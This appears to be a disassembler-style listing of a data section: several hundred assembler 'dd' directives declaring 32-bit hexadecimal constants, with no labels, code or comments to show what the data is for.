dd 4CD40F9h, 74003351h, 7BCFEB09h, 10EFA4Dh, 4C1CCB6Fh
dd 86D126A4h, 1438E440h, 0E3041CB8h, 4D76C4E9h, 2374C0E6h
dd 99176D2Fh, 0DA4B47DCh, 6506125Fh, 0D7930001h, 0C1940D1Dh
dd 7DE8F4A0h, 62CA8704h, 0FFC0CE7Ch, 9043612Ch, 98AD7C2Ah
dd 39CC00D5h, 5035575Ch, 6E00FDD4h, 0A03E497Eh, 0FB94C06h
dd 7656D2D7h, 0DA80F929h, 0C89DD580h, 2B812A00h, 0F0F5986Dh
dd 6609039Ch, 0DA8B2E41h, 0BE4EB803h, 3ECA3h, 0F3F487B4h
dd 466B089Dh, 0D9BF0200h, 4529BCD0h, 592C00A0h, 0D75D33B8h
dd 16B07228h, 0DED7000h, 8311E4E8h, 876A057Eh, 8899CFF0h
dd 0BD885390h, 1285FA3Eh, 42914B67h, 0D54EDA50h, 0BC2BCFA0h
dd 0CC76E8C0h, 6A01C398h, 5022C3FFh, 0C2CC25ABh, 1DAF7339h
dd 0D3EB8A2Bh, 1F8B015Bh, 898C924Fh, 0A05427C1h, 0A226CB6Dh
dd 0B03907DFh, 0A549DCh, 9318F94Ch, 0C877FD0Eh, 90F48092h
dd 13486D0Dh, 0E3B104h, 0AF5027DDh, 1E0C9839h, 0C052910Ah
dd 9E5D24EFh, 4CDCC16Ch, 29BD80D3h, 0E8799768h, 0D81200F1h
dd 3B3D2C4Dh, 4F02BD46h, 8C6119E4h, 956CE9h, 8AD4D20h
dd 3F999CACh, 872348C0h, 7ECDCED4h, 361D02A7h, 5B7489BAh
dd 5D6F7A40h, 88147696h, 0F29D0045h, 62D8013Eh, 0CFF901ECh
dd 0A8E24660h, 966E20C8h, 0D604D290h, 0E79218EEh, 16F770C0h
dd 60D4A984h, 8FDA4D5h, 0AC4E20h, 13C48239h, 0DDB2CB21h
dd 0A783D40Ch, 340BA10h, 0D8F9F1ADh, 9AE8D2BDh, 5F13388Eh
dd 2201C6FDh, 0F5F39E29h, 1556DFCh, 8CCCFA8Dh, 6E971CF9h
dd 3DA4E0h, 9A7D10AEh, 0E95688DFh, 3AC3B114h, 0C15406B8h
dd 288853Ch, 2FBF48C7h, 19709F32h, 0BC41D004h, 41904528h
dd 19D26C8h, 6D927ACFh, 3005EA7Fh, 0DB3B1A4Fh, 83C1808Fh
dd 37555A3Eh, 2BD01CA2h, 8E25EEA5h, 0A4AA0D8Dh, 681884EDh
dd 0AD4D808Bh, 5800F259h, 0BB0601DBh, 92BFFh, 0A7750B7Ch
dd 2BC7630h, 6E8F6303h, 18BA53Eh, 0F04C1B40h, 20FAFF9Dh
dd 0A6394B95h, 41D309CAh, 0AAA680B8h, 486D6A05h, 0AC0659A7h
dd 0D93301DCh, 0B024C48h, 8024F144h, 6992646Bh, 0FE96027Bh
dd 7106EBF9h, 6FAE4F40h, 0AD563B02h, 50C6AA3Fh, 0B73C0070h
dd 4A94CD1h, 79773140h, 98513830h, 9177F484h, 0BDFF09B9h
dd 0E473AC20h, 543E3BCAh, 0B6261D99h, 6EEA3100h, 3F38592Fh
dd 0ACBA6870h, 2D058F81h, 0F4919310h, 970062BDh, 0AB4C21DBh
dd 3182AA06h, 7D6C9B03h, 7EEA30EEh, 0A5067573h, 9AC65FEBh
dd 0D1EF801Ch, 823C3A76h, 0F5BA9C00h, 0EF392396h, 24C2D9F6h
dd 0C0A11FCAh, 3E886C9h, 37B85F2Eh, 213B7C15h, 0CB9F0FC0h
dd 0D1DA804Dh, 0CA2EC5Bh, 43C46402h, 0D200B925h, 8769FCBAh
dd 1E38662h, 0D6E1EB0Ch, 706509DCh, 2DE6D01Bh, 43064600h
dd 0C8ED80E5h, 5E310A84h, 80A42159h, 8AB9C0A8h, 770034DAh
dd 157018A1h, 9473DE8Eh, 3D010071h, 0F72BA9E9h, 7EBA32Ch
dd 0A14C701h, 0FEDC9B69h, 38C948A7h, 0D4A74193h, 81CBDB74h
dd 2FBA21AAh, 0DD30EEBDh, 59D700DCh, 98523165h, 0CC6F17B0h
dd 7AF62726h, 0F3878070h, 0C090F421h, 9279EC41h, 0F804EFFAh
dd 93F6961Bh, 48FD0082h, 3F9FACB5h, 0A6832CE0h, 0FAA428D1h
dd 836FE8F9h, 14E6CD41h, 0C1D187EFh, 57CC8B30h, 63B60084h
dd 354A6F0Dh, 7A005AD1h, 0E009EBFEh, 1C1E3E8h, 8F34C59Dh
dd 64A174D9h, 7C006D8Eh, 4179E95Ch, 0DCC9ACh, 0BE2EB53Eh
dd 25694D2Bh, 658A6D01h, 44D4B967h, 0F4211331h, 40FA6C31h
dd 27A3962h, 8951AF30h, 6958D2A7h, 483A377Ch, 70548073h
dd 0FFC69B04h, 4A26005Fh, 91C57B22h, 491E36D9h, 1F9302A7h
dd 8362C900h, 16CC8F1h, 17717619h, 20872550h, 0BF00D148h
dd 984FB69Bh, 17D0BBF4h, 0B494D2h, 0D8BC97C5h, 0DD005B0Dh
dd 0F88E0723h, 7BEB89Dh, 6BFED1D6h, 6815908Dh, 9A5C618Ah
dd 828C28F1h, 7E95E900h, 0AD4201F3h, 2FB90004h, 3F6D1607h
dd 0CE006264h, 882DC09Ah, 29E71C4h, 0AE24F19h, 91C0E3E5h
dd 0EB8691Dh, 61C1DA03h, 8063B78Bh, 166A8F6Dh, 14FB8Eh
dd 0A1894358h, 3D2EB528h, 6B001CACh, 1E4E6F06h, 160D4AC3h
dd 5DB8B4h
dd 60656788h, 16688D6Dh, 0D3D08Ch, 5B26A659h, 592633B4h
dd 0CB089FF4h, 0B372466h, 8601F801h, 3005476Ch, 0D9A1D393h
dd 84D2B942h, 0B4008B1h, 0CEE6CBAEh, 0B2EA922Ch, 0D953B2E2h
dd 6C5C51AFh, 5FEAA40Bh, 408927E0h, 547605DFh, 0AB9652A2h
dd 5F3E50Bh, 97EB5961h, 418F509Ah, 71738108h, 3E4B0FA3h
dd 9645CAAFh, 505F3AFEh, 0DB58088Fh, 0F36F12DDh, 0B2A12B0Ch
dd 0C57A03h, 4ADA7CE0h, 6C765B3Bh, 0AF00347Bh, 2F477763h
dd 60B40279h, 5B8E0A1Ah, 0FF0F1292h, 2452DCh, 90779B58h
dd 21E200B3h, 1EC18069h, 2A07D602h, 518E7154h, 56B35FC0h
dd 7F890018h, 40742EA8h, 60004EFBh, 8D668575h, 779FD4h
dd 27A05898h, 4B90C3C2h, 0AD093F70h, 7AEC7Eh, 0C7A1DC94h
dd 7E83227h, 3561A3E3h, 337A60D1h, 0DBBA661Dh, 0BE455B1Dh
dd 870FC0CFh, 0B80C902Dh, 0F0A194Eh, 43058E30h, 3BD3BBFh
dd 0B8B7A8Ch, 190009E9h, 61F7BC83h, 3AD99Ch, 0F181A42Bh
dd 10B3631Ch, 6E85618h, 0CB7DF2Bh, 7DEBD25h, 904A2978h
dd 1C380BBh, 61183A0Ch, 0C32F0EE8h, 0DACF3AF8h, 9B349300h
dd 48591C7Ah, 665A9104h, 0EC6C681h, 0BEF1013Eh, 0F52E122h
dd 51071784h, 2D7288Ch, 8F5F472Eh, 6C49F803h, 566B40E8h
dd 0E4006CD9h, 6162BECEh, 0C5A5CB9h, 2D850F48h, 80EFE825h
dd 570D500Bh, 0CF3866h, 3186FD1Ah, 89CE0EB3h, 5AFC1506h
dd 2D40E9h, 61FA69F8h, 0D7574409h, 0EB9DE3Ah, 60CDD372h
dd 0E9BF63E1h, 0F2FC313h, 30805E6Ah, 0D3000D94h, 10296676h
dd 1B944CBh, 28F4F0CDh, 80FF3EE9h, 0EDAE7E02h, 0D2D7ABh
dd 71A765CEh, 0C809DD4Ah, 7039F01Dh, 0E11426C0h, 1E9B55A1h
dd 1E9F0E9Eh, 984207E3h, 8375C7E6h, 81EC34Ah, 9400CFE1h
dd 9942911Bh, 0C721CEE9h, 157D3B83h, 6361110Ah, 0A914E066h
dd 0DE45061Ch, 311854Ah, 0EC287321h, 81037D26h, 4AA3245Fh
dd 0F5111C46h, 0F8AC4416h, 0E275071Ch, 1ADCEBB1h, 3F2EF109h
dd 7BA0FF00h, 3AA56AC4h, 953AC599h, 5CE1E301h, 80F675C8h
dd 6B20F520h, 0C00C2DF8h, 7AC9C110h, 19025EE7h, 2C387922h
dd 0E260D760h, 21034416h, 99C0ABE0h, 1E769184h, 0F0FC71F0h
dd 10BF6042h, 30118348h, 6FD0B01h, 75E6A0DDh, 0F893BDE0h
dd 0F4AA3FCBh, 0A1A5287Ch, 0C8033E14h, 1438E000h, 66F46168h
dd 3FA99316h, 0AC1E8F03h, 0F678040Bh, 16B11A91h, 0D07C7B0Ah
dd 1B44BE04h, 0F00D2907h, 9854FEF0h, 0C79AC20h, 0F4E9F82Ah
dd 7E0081E0h, 0E319E532h, 633865Ch, 71F020B9h, 140220F2h
dd 0CB05B4D5h, 82209C99h, 81201282h, 0A049C900h, 1081E450h
dd 2ABD015Bh, 22E53821h, 0BF089839h, 1C08E621h, 87E47A5Bh
dd 702B79D5h, 645E963Dh, 0CB50C8D9h, 5B080E18h, 0C4112AB7h
dd 6E040B6h, 1434C35Bh, 482183A8h, 3F8CBAB8h, 34809D8Eh
dd 99BB522Eh, 0B4A08C1Ah, 409149A0h, 0F59F0Eh, 0AF042F74h
dd 9C75006Bh, 0E73E0973h, 1AC76407h, 0F141C1B3h, 40B88E4Eh
dd 3E50160Ah, 375400E0h, 34BEDDC9h, 0F4AC7709h, 0FE5C211Bh
dd 0D5205068h, 18210A05h, 5C6403A6h, 0C000B946h, 1CC7740Ch
dd 0B31CE0E3h, 8944FE8Ah, 5891BC46h, 28240C16h, 0EFB600F5h
dd 6E3D8F21h, 2C601A26h, 9681FC18h, 7131C0A0h, 1F706AFEh
dd 0F6DC9800h, 89205D5h, 19153FAAh, 46D21A87h, 0F1FCD18Bh
dd 0F9A462h, 0B3145F03h, 0A041C549h, 0C3203795h, 0A50C3268h
dd 4A08D8F4h, 0CE3B21C4h, 34544780h, 16C9002Ah, 5BD3288Fh
dd 89540197h, 0CA398090h, 8CC44043h, 0B812EFB0h, 1439392Ah
dd 395B05C4h, 9580DA6Ch, 0E2EBFC2Fh, 7A614AE0h, 0F935B781h
dd 697403F8h, 28026092h, 0D490DDF2h, 6000BA34h, 85AD9D0Ch
dd 0CCA59579h, 0D5210D08h, 460B205h, 0DEC3E2A4h, 581EA0EAh
dd 0FFACA038h, 0A0C61E44h, 0D4C980E7h, 0F17B8807h, 486ED5E9h
dd 476049E4h, 4ADBEA91h, 0A9481CFEh, 32AD80D8h, 0ED7FBEB4h
dd 0D0D92000h, 64ACBB9Eh, 0D57496h, 0F9B7F8E4h, 2A0518F4h
dd 2E3E01Dh, 0FE48B728h, 19FC84E0h, 9FF2CB00h, 0FF01F186h
dd 99BD696Bh, 0F4F0A6AFh, 6235046Ah, 0C1A044B2h, 0FFF3B8h
dd 30142ADh, 0F0B9D418h, 0F793CDB1h, 34E581D1h, 1F04C3F4h
dd 2ABAE712h, 406A0C5h, 417C06h, 0B6F80114h, 99FD6A33h
dd 0E5621919h, 2180F308h, 98B6F0A0h, 2090049Eh, 82366826h
dd 5D01A020h, 9FA4DE69h, 3180CF7Eh, 2FE44066h, 55008863h
dd 5FFAFBB2h, 0AB37ECh, 335ECA57h, 851595DBh, 0E402287Eh
dd 0B6A9FE8Fh, 0A05449BAh, 32C08807h, 46FCFE20h, 54B22E0h
dd 5420C938h, 26DC802Eh, 0A0C20F60h, 698A91FEh, 0ACF06AD0h
dd 6018D924h, 1578D9ECh, 0D5EF4044h, 0B738B810h, 18DD8F06h
dd 8C0D9E1h, 0F15B83B5h, 0A81C1FEh, 0E0FF53AEh, 9D249714h
dd 78295ABDh, 0CCA92F00h, 0E3341E6Ah, 1EF15464h, 817805C9h
dd 8B6D5661h, 52F3E8B2h, 9BF91307h, 583BCCEh, 424AE1CAh
dd 0FF167980h, 0E31E82E4h, 5E94DD00h, 9F99F89Ch, 0FC840553h
dd 84EC2542h, 92680090h, 0CC0FAB4Dh, 9F0703Ch, 0FA5883h
dd 40266920h, 0DD90C602h, 0AA00E104h, 473C3043h, 0F6D485h
dd 19F24695h, 7D588CD2h, 0DE76250Bh, 0FA08027Ch, 0A21CE335h
dd 0D02A0074h, 6890F02Dh, 4362CC00h, 84AB313Fh, 9BC403C5h
dd 0E5508AEDh, 4C65F4D0h, 20B26C13h, 0C9684827h, 0FCFA3801h
dd 4DF458C0h, 0C53488h, 0DA233720h, 0ADCB454h, 0FE28C1C0h
dd 0E2C1353Ah, 4C42384Dh, 0D123048Fh, 94A69D20h, 0FC7AC96Bh
dd 0DDA57E1Ch, 0EAF83930h, 60665C22h, 0A2DF1F00h, 7D886F60h
dd 0F1036891h, 0B0B2EB6Bh, 3EE9A80Ch, 38FFC92Fh, 4501C02Ch
dd 36913DEAh, 1E687062h, 793EF102h, 48A76007h, 90ED121Ch
dd 0B0DC982Ch, 0C594834Eh, 8EF1E493h, 447C9011h, 5E001340h
dd 1B2403C4h, 7D7A47h, 0C043BF6Eh, 0EC481DFCh, 1FC26506h
dd 7B79106Fh, 641A1611h, 45DC082Bh, 0EBD02E00h, 27BA685h
dd 0A57A62FEh, 74C1B118h, 8FC4101Ch, 71300FBh, 9D0DFF12h
dd 0CCA185FDh, 383018B4h, 0D0ACFC20h, 0CF3A7014h, 0E5C82000h
dd 0C0286173h, 0D889E1EDh, 0A8013057h, 2440E06Fh, 8CAB9E1Ch
dd 6043FEE1h, 20FBE4D7h, 0F0990D48h, 0E51872D1h, 6C347600h
dd 8A2E9BD6h, 0DBD33F0h, 0A29B7D80h, 105C7048h, 0FE023934h
dd 0BA1C64Ch, 0C304846Ch, 0D56A36B6h, 0A320FA62h, 0ECB6FBh
dd 78D58D5Eh, 15C1AC2Eh, 0A75089C5h, 0CCC55082h, 5B0C0480h
dd 38012AB9h, 5B0409E2h, 80827D98h, 0C1009286h, 3E399F1Ch
dd 0B70BE718h, 80B8F9C2h, 0E131C82Ah, 0E47CE0F8h, 0EF84A180h
dd 28C2542Bh, 0C1C4AE03h, 97A512F7h, 0EF589099h, 7363010Ah
dd 4AE1835Ch, 50E05044h, 580027F5h, 0BC72BFB8h, 4AAF0A4h
dd 421DF987h, 530C8469h, 0A18C08BCh, 5CE78BBFh, 4260985Bh
dd 21EB6386h, 2907AA4Ah, 5BCFC815h, 855F03E0h, 69D894DCh
dd 3AA42683h, 60504048h, 0B18BBDC0h, 0A17E6049h, 183753F5h
dd 80DD021Ch, 6E7C4282h, 4910804Ah, 0F85FF4BDh, 0F690029Eh
dd 0C3B26D09h, 281B61F7h, 210D7096h, 212724B8h, 0A2586390h
dd 0CC3731BDh, 3C00D269h, 0D06A207Bh, 627DE888h, 0E2AC60E6h
dd 16E080A3h, 0D97D22EBh, 9C626703h, 2880C2F2h, 20FC61F9h
dd 607A86FAh, 30046C30h, 96EAE975h, 18BAE404h, 0B207ED38h
dd 669D04F0h, 91149632h
dd 906CF8h, 4BF80F57h, 0B848770Dh, 8DE22021h, 763D308Eh
dd 0A0604E20h, 1EF24FE4h, 349B42FBh, 0DCE004E9h, 54FE011Ah
dd 98510F49h, 0D5E422F0h, 1CEAF6D4h, 830AFDC6h, 0FB5CEDCBh
dd 0F926D3C0h, 5DE0E11Dh, 3CC8C007h, 25801EBFh, 38D5CCEAh
dd 1FCA74ECh, 85C9DB75h, 12ACE356h, 4E501FF0h, 807CC023h
dd 0C6D0E658h, 0AF75F90Bh, 0CBE75C0Ah, 0A55038A1h, 0F1EEF0D7h
dd 181895D2h, 0C2E808AAh, 0B0C156F0h, 0D5FD2DE6h, 2140630h
dd 0FB22D7B1h, 2840F3AAh, 560FCCAFh, 0EF5B6C7h, 29CA20D9h
dd 0A0A1ABDDh, 78C90268h, 0E40935B5h, 4645139h, 0A6727DF0h
dd 680210D6h, 70E6A3E9h, 8912E80h, 2EB1012Ch, 418872F8h
dd 34C9C4E4h, 5C0C6180h, 188754C8h, 37FA78E2h, 8F29A8E8h
dd 81880032h, 191EEA66h, 0B2F1E30Ah, 5C132CA9h, 231BA008h
dd 88F11A0Ch, 74600C39h, 3490B67Ch, 0A059156Ch, 6E1884A4h
dd 5414F26h, 66A092FCh, 19B54094h, 6E185F15h, 0E2050A78h
dd 0D01058E5h, 77F8C8EFh, 0F23B2BE4h, 4691D9Bh, 4220D6A4h
dd 8099E898h, 5283E04h, 0AC5BF600h, 7FE8762Ah, 750C1E50h
dd 0A8650712h, 0D0C9E45Eh, 9BECA0E9h, 74FCF120h, 0F9F8981Bh
dd 2558EC08h, 0F1FE8170h, 1465B2D6h, 759D09C4h, 91F628E0h
dd 0ACE1090Ch, 14A203F9h, 58807E83h, 6ACCB620h, 0A264A053h
dd 0C13F20BCh, 955599FCh, 0E5BC028Ch, 0BFB80412h, 88E85D22h
dd 753057F5h, 79CF1961h, 50F8A681h, 4CC7E0F1h, 88215CA1h
dd 0A4114824h, 76E24063h, 2DF0C10Ah, 41648CF1h, 54A8E451h
dd 2AC05B09h, 217C93F8h, 90321198h, 2CC911F7h, 0B2210E70h
dd 0C7197889h, 88C053A5h, 0A4E0B135h, 59C28174h, 93165CC4h
dd 0A2401694h, 42F42DA0h, 8028AD0Ch, 99A31D51h, 958E0B0Ch
dd 0B6C2D801h, 0A80462F4h, 882E53E5h, 5FE0C431h, 0C9F44214h
dd 45955710h, 0D5408911h, 9E6021E0h, 2823459Ah, 8085ED22h
dd 30999D1Ah, 0A0810E0Ch, 4C60C28Ch, 21FE0C55h, 0E8D3523Dh
dd 14E1A828h, 0D1908028h, 21850C99h, 4F64E501h, 3D80F29Ch
dd 0B1366444h, 0F2A07549h, 0E8241677h, 0EC111461h, 0ACD82429h
dd 0C1DC4374h, 0C8506157h, 3285463h, 744E421h, 1565225Fh
dd 4A0C81DFh, 0A6BA797Fh, 0ADE4BAD8h, 4C289558h, 23AA2C49h
dd 35115F26h, 0A0304BBFh, 127AC98Fh, 70E45D3h, 0C8A2D678h
dd 2870DC88h, 232144DCh, 276C2619h, 46F40718h, 846331A1h
dd 0F2152870h, 0DABD4A22h, 8CA8A434h, 0A681E3Ch, 0E8C8639Ch
dd 15823CA3h, 3C8C2DB1h, 3C38D8AAh, 0E623B389h, 0BFAEC261h
dd 1C884904h, 9E243C08h, 9261CC80h, 15AA7DDBh, 0EA03ACF4h
dd 0BA22BB5Eh, 4CB0A468h, 0D5D0A8E3h, 2B7E0780h, 426E9057h
dd 347A4938h, 5DF06301h, 0DAEE1102h, 73D6FECh, 183AF69Dh
dd 0FE90805Fh, 27002C99h, 6E955C32h, 0FAB9C5h, 3C0F65F4h
dd 0CBB10933h, 0B845FE00h, 0A9F2DC22h, 7491D7Dh, 0ACB97164h
dd 40462BF5h, 28B7CEh, 25C80B7Ch, 8FF04995h, 2AF45D03h
dd 0C8627741h, 0D5A47Dh, 52835BC5h, 0C31ADE20h, 0DF223Ch
dd 923EE89Ah, 3EB1096h, 19586205h, 42885CB4h, 0B2EA8999h
dd 0DE9A5703h, 881AFA13h, 712D4Dh, 0EEE5E7F2h, 40E9EBCFh
dd 2F73CA1Ch, 0DFE3D200h, 0E54DA12Eh, 282DDA00h, 4B3DB300h
dd 0E45829E5h, 189660D5h, 0FF6635F7h, 10FDD730h, 50AC0471h
dd 73D9A25h, 3E317889h, 0D1B66005h, 0E7186A1Ah, 0A7592F5Bh
dd 15EAC7h, 7C044221h, 2716B54Bh, 0F1CBAE1Eh, 729135C0h
dd 0EF0B4ACh, 93DC638h, 0D5AD04C0h, 7B010328h, 2ACA17E5h
dd 6C40196Ah, 7ABA6D0Eh, 0C6B0018h, 2F2A2CB7h, 630C9727h
dd 29D57C61h, 11EE005Bh, 0FE93F9E1h, 3C3AD71Ch, 0E7C9E1F8h
dd 0A98024D2h, 92C8A0AEh, 0A1FA284Bh, 0F715261Fh, 0DCFC3D06h
dd 0C01A7F31h, 5FB45059h, 7200D5EBh, 20E5E047h, 0E419E6h
dd 5BEF7085h, 67BE54DDh, 3028243Eh, 0F472397Ah, 6B2F0097h
dd 0E5F95F8Ah, 9130D712h, 0B75620DDh, 8C5D0064h, 0F5DB5246h
dd 2E001285h, 40F6B8FFh, 0B358BEh, 0EDA791F2h, 9BE03CCCh
dd 0E838DD00h, 0E164F15Dh, 79DB7898h, 20DE03E7h, 24DC917Fh
dd 2BA0EEF3h, 14A5D1EAh, 0BE281D1Eh, 39DF30C0h, 10AF9AE4h
dd 0E81B24h, 2CC39BF0h, 0DDD2E0h, 3B3B13Ah, 0CE9DE338h
dd 0D8EF90C1h, 18BAAE28h, 7CAAD50h, 0CE9EE53Eh, 9D804D36h
dd 2507EA28h, 81CED7ECh, 28CD9F1Eh, 24C67886h, 0EB18311Ch
dd 0CC59DF98h, 0C4CE722h, 0F142307Eh, 3AD9EE20h, 0C1D6E002h
dd 809FE42Bh, 0C394EB88h, 297F6027h, 9C34CD7Eh, 0BB482A1Eh
dd 0CC1A4712h, 52998049h, 609F8E7Ch, 0C83C3141h, 400F6408h
dd 0A0397A48h, 0C18A5E09h, 0E21D004Fh, 94C7F45Fh, 0AE00E42Ch
dd 3C377C98h, 7C4EB9FCh, 42111CBBh, 337700E0h, 0CF447BB2h
dd 7A71AF60h, 1011A3E1h, 761AA2h, 0F282C194h, 60A6FA84h
dd 7289288Fh, 0B1087F54h, 943863Eh, 25D7BEh, 4E1804FEh
dd 0B2C2038Eh, 0BB682171h, 8180BE14h, 942F14BFh, 59701898h
dd 11F19A3Dh, 288F4D61h, 40154C69h, 3EB2DF06h, 110329AFh
dd 1AA3B3B4h, 6959187Ah, 0B66AB10Eh, 0C05879C5h, 802D2C08h
dd 0E83AD8C5h, 592A487Ch, 9807B47Ah, 9A8EA735h, 8D11D0CAh
dd 0B662A688h, 30033063h, 0E30B8C39h, 675B930h, 0D50743B9h
dd 0E3B68E5h, 0BCDF05D2h, 0A40C7E9Fh, 14DC9980h, 0DCA1A0FCh
dd 0DF0A845h, 61EA7F24h, 3E6630DEh, 4D1895F0h, 3218144Ch
dd 0A2420F58h, 3F917815h, 438424C8h, 0C0393718h, 272A02CEh
dd 966A31C7h, 0A7E2181Dh, 580AC34Ch, 30E8F114h, 3C0991B6h
dd 284E4872h, 0D8F13961h, 489BC9C4h, 0AF916A4h, 7436ACC9h
dd 56813F40h, 0DF215C43h, 75B86210h, 462208E9h, 15064B1h
dd 0C4151A22h, 91F22134h, 0A5A2C40Fh, 46847228h, 426AA2EAh
dd 38281914h, 458D8208h, 6E78711Ah, 353A128Dh, 51B0EE08h
dd 8D920803h, 14402642h, 0A504650h, 533A428Dh, 9940BE30h
dd 4433135Ch, 5DB8CE6Ch, 0A24460E6h, 4E1D842h, 36046044h
dd 0F2A768B7h, 84418CC9h, 8813BCCFh, 0E3F10903h, 75AC8B4Dh
dd 0F8558890h, 33BC5F09h, 0B9A024B3h, 4EDEB640h, 0A49AEEC8h
dd 0CF10A562h, 3E4C98D0h, 9098999Eh, 4C492293h, 1B8AB039h
dd 980E248h, 1082B861h, 48F47060h, 0BE84E88Ch, 0DDC8D4Bh
dd 904180A8h, 583BC2D8h, 68A0A887h, 84EC5880h, 0D2168C4Ch
dd 0CE36032Ch, 2EBFDF3Ah, 80D11E87h, 0DDCBED67h, 0F7456300h
dd 931A2091h, 0F12A00DFh, 0E725D1E8h, 7107CDECh, 28D99BEBh
dd 3DD8E9E1h, 0D11128B0h, 0EDF825C2h, 58FCDC58h, 0F02A0035h
dd 0E171DDE8h, 470F1C4h, 39CD0ED2h, 21A79D1Ah, 2BDA80F1h
dd 358D01Eh, 0AF04D1ECh, 84124DACh, 0B400DD9Dh, 0F72F049Eh
dd 9E18A5EFh, 0FB11721Bh, 8F92B0E0h, 9BBF9F07h, 6F30303Ch
dd 5C18EAF1h, 0C505187Eh, 0C0699AC8h, 0E9C1F270h, 1FB84F4Dh
dd 0DF535437h, 7485E01Fh, 8816123h, 0F50088FDh, 3F4A6BF3h
dd 41607867h, 1F19C425h, 98F636h, 0FCDF9D1Eh, 0CCB80384h
dd 0ADDA8D02h, 533531E7h, 8C3062B4h, 7F034080h, 0D9CB71EAh
dd 0B39583D7h, 0E8E6C2D8h, 5B93EF4h, 6BC2C1F3h, 807C5CFAh
dd 0D2A76C9Bh, 9C8DF22Ah, 717C0CC4h, 2162410h, 70180537h
dd 28396B68h, 0E2B05A0Fh, 0FC68C6BEh, 0D867F873h, 2751C581h
dd 40BE7CECh, 772E4070h
dd 0FC502363h, 3690309Dh, 0EF417E31h, 883B8CA5h, 0F332998Bh
dd 43A8100h, 427F6CE1h, 9159h, 0A373C049h, 1B30471Eh, 0D836198Fh
dd 1DA17668h, 8BF07549h, 8C117F01h, 4109914Eh, 0E228DA24h
dd 6445F282h, 9831271h, 47F3D3B0h, 59E8DE0h, 968AAC00h
dd 45D07082h, 0DF9400E7h, 0C39DEF71h, 0EC3CF13Ch, 78E02CC4h
dd 50803BC5h, 0B0E52AC0h, 1DDFF854h, 48638Fh, 1A35C2D0h
dd 8279A591h, 760AE53h, 9872AAE7h, 0C728CCF0h, 1F04A6A4h
dd 14366A68h, 8D00CABh, 38D9BD07h, 0B394C8E7h, 7DF6C530h
dd 0C820825h, 7188B095h, 9DF6F998h, 10CF10A0h, 3229F002h
dd 8C09410h, 4CA00EC8h, 30F0662Bh, 52099646h, 8CC8145Ah
dd 3C21F899h, 83332D2h, 0B10FA1E2h, 130A0210h, 9C6EF2B2h
dd 1A027AC2h, 0D28F0C90h, 50808CACh, 44354FF6h, 54D318BBh
dd 9809229Bh, 899A9544h, 249C129Fh, 919E4899h, 44802263h
dd 8789829Dh, 81248412h, 8B918648h, 857C8822h, 41694A00h
dd 4F6EF291h, 0C98F6717h, 4DB85CB3h, 9C9484A5h, 6DC5BA04h
dd 7A080F7Fh, 0AA1E9680h, 250391BBh, 7F41F04Ch, 0E06E349h
dd 0DC7C27E0h, 8396BC84h, 0F5A0C9DFh, 0FDF0704Ch, 0C5F838E8h
dd 9130BAF0h, 0A60A40EDh, 26F1204Ah, 817C2A38h, 4196D642h
dd 48291B83h, 40FFDAFh, 0BD25ABFEh, 0BA018866h, 0BF844B62h
dd 0C717496Ch, 0DC5949FEh, 0DD98065Ch, 51A38F2Bh, 28CB431Fh
dd 5E095D59h, 0D0BE7016h, 357255DFh, 8075F504h, 0C07059CDh
dd 2803B74Bh, 1A1C417Ch, 7621147Fh, 0AE380Eh, 5E3AD11Eh
dd 3EFAD831h, 0ED19A5C1h, 0DC62184Fh, 4302170Fh, 0C585CDB3h
dd 361C8748h, 0BAF4D7C0h, 93BF14DCh, 0B78528BEh, 0E460EA6Ah
dd 79BB5593h, 1B28C38Dh, 303E8198h, 8C1D7BB0h, 5D8F5E62h
dd 0F7830003h, 0EF44F2h, 8048C3E8h, 1E2791F0h, 2BDCEA03h
dd 0A04FB3BEh, 0CDEC1Ah, 0DFE8903Ah, 0DCEEE62Fh, 0BD7F5601h
dd 9FF136CEh, 99D03AD9h, 1A3807D9h, 4F5CF28Ch, 0EB366480h
dd 40C3CC94h, 0E025CEC4h, 152778D0h, 40F1D21Dh, 0CC9D0F7Ch
dd 0B003E03Eh, 0C5E0BA91h, 6EF0EB3Ah, 98C130A4h, 0DD9EE43Dh
dd 10791C4Ch, 1EFE536h, 27C38D7Fh, 3DD19DEBh, 0EC0A604Dh
dd 10FDE7B2h, 746B1FA4h, 28C915A5h, 0D18B187Fh, 2940A4FCh
dd 0A035FADh, 0F29EF628h, 6024C72Ch, 0F02790E8h, 21F5E3Eh
dd 4D03E792h, 7F3898E4h, 679500E6h, 24C68A93h, 0C552ECE1h
dd 0C0409114h, 91934DF1h, 0E35C0796h, 42366FD2h, 0F8A0C2E7h
dd 59F728C3h, 0AB9C0D4Ch, 0E40093ACh, 0F0BA456Eh, 1D844460h
dd 0C77AF2BFh, 0B12ECEE7h, 3022DD9Fh, 35269534h, 18BA00F1h
dd 0B328969Eh, 9328241Dh, 0D2EC8098h, 0E7AB6FCAh, 0E62BDD0Dh
dd 50920899h, 0AFA8031Ch, 0CCC44DDFh, 6B1F0E20h, 3E09EF93h
dd 50EC0DEDh, 6858CC7Fh, 6991B13Eh, 5D04F490h, 581E2474h
dd 24C30030h, 216D93EBh, 4A901B58h, 40A598A8h, 9D1B7158h
dd 54B02FD9h, 8F010478h, 0F036DCD7h, 0E2E005E8h, 40C662ECh
dd 0C060CD9Eh, 3901CE93h, 2ED29F1Eh, 50D398E4h, 24638C10h
dd 2B0D345h, 28D8D1E6h, 259170C0h, 1B78FC98h, 0A083DF24h
dd 0CE94E206h, 0DA9F3110h, 21D8E960h, 255882ACh, 55DCD0E6h
dd 4007D863h, 2AC2C4DFh, 0F0C8EC46h, 0B52AF1EAh, 0D960AFD4h
dd 0E6A03194h, 0D0B32A9Eh, 0F829F5EFh, 0F11A21D0h, 2D4ECE6h
dd 1B29CC91h, 60C6DE93h, 651CA578h, 0D145E836h, 0CCC5EA28h
dd 8FABB864h, 259B3FB0h, 3A845E71h, 1EE8E424h, 0C8ED8F27h
dd 25C23098h, 54E8E725h, 7F675070h, 0F4D70C9Eh, 1A481E05h
dd 0C480CCEEh, 0B03CC488h, 0E4DC59B4h, 0D838D2C4h, 98B0900Ch
dd 35C29816h, 92DDDC0Eh, 28DCD80Dh, 0C43AF2F3h, 311C90C4h
dd 280936D1h, 4AC461E4h, 50DC7CE4h, 0B782C0ACh, 0E09FE982h
dd 74D21620h, 6FE8F8CCh, 0C38F68DCh, 0C2D7E081h, 4B207228h
dd 0A42C9010h, 80CD3C87h, 9DB0A02Eh, 9FF6E1E9h, 0EE812B58h
dd 98EF22C2h, 91B005F3h, 349082B8h, 0CA508018h, 0CBE7F54h
